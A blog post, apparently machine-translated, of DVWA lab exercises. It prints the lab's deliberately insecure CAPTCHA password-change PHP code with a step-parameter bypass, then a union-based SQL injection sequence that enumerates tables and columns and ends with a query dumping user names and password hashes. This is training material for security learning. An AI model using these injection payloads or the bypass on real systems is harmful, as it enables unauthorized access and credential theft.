当前位置:网站首页>DVWA (5th week)
DVWA (5th week)
2022-07-06 14:04:00 【Crispy cotyledon】
Insecure verification code
View source code
<?php
// The first stage , Identity Authentication , The verification phase is step1
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
// Get the user's new password and confirm the new password
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
// The second stage , Check whether the passwords are consistent twice , And update the password
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>Divided into two steps :
step1, Verify the user's identity , The password can only be modified after successful verification ;
step2, The passwords entered twice are the same , Can be modified .
use burp Grab the bag 
take step=1 Change it to step=2 that will do .
SQL Inject
Input 1

Input 1 and 1=2

Input 1' and 1=2

To judge id Contains single quotation marks .
Input separately 1' order by 2#,1' order by 3#.
When the input 1' order by 3# An error occurred when

The field is 2
Using federated queries 1' union select 1,2# View echo

Look at the database name 1' union select 1,database()#
View table name 1' union select 1, group_concat(table_name) from information_schema,tables where table_schema=database()#
View fields 1 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
View the data 1 ' union select group_concat(user),group_concat(password) from users #
边栏推荐
- . How to upload XMIND files to Jinshan document sharing online editing?
- Force deduction 152 question multiplier maximum subarray
- 实验八 异常处理
- 记一次api接口SQL注入实战
- Package bedding of components
- [experiment index of educator database]
- 7-11 机工士姆斯塔迪奥(PTA程序设计)
- Analysis of penetration test learning and actual combat stage
- Strengthen basic learning records
- XSS之冷门事件
猜你喜欢

1143_ SiCp learning notes_ Tree recursion

扑克牌游戏程序——人机对抗

Poker game program - man machine confrontation

It's never too late to start. The tramp transformation programmer has an annual salary of more than 700000 yuan

Intensive literature reading series (I): Courier routing and assignment for food delivery service using reinforcement learning

4. Branch statements and loop statements

7-7 7003 combination lock (PTA program design)

深度强化文献阅读系列(一):Courier routing and assignment for food delivery service using reinforcement learning

Record a penetration of the cat shed from outside to inside. Library operation extraction flag

Callback function ----------- callback
随机推荐
[VMware abnormal problems] problem analysis & Solutions
4. Branch statements and loop statements
实验七 常用类的使用
canvas基础2 - arc - 画弧线
HackMyvm靶机系列(1)-webmaster
附加简化版示例数据库到SqlServer数据库实例中
强化学习基础记录
撲克牌遊戲程序——人機對抗
Intensive literature reading series (I): Courier routing and assignment for food delivery service using reinforcement learning
Nuxtjs quick start (nuxt2)
网络基础详解
Experiment 9 input and output stream (excerpt)
简述xhr -xhr的基本使用
浅谈漏洞发现思路
HackMyvm靶機系列(3)-visions
外网打点(信息收集)
MATLAB打开.m文件乱码解决办法
XSS之冷门事件
Applet Web Capture -fiddler
7-9 make house number 3.0 (PTA program design)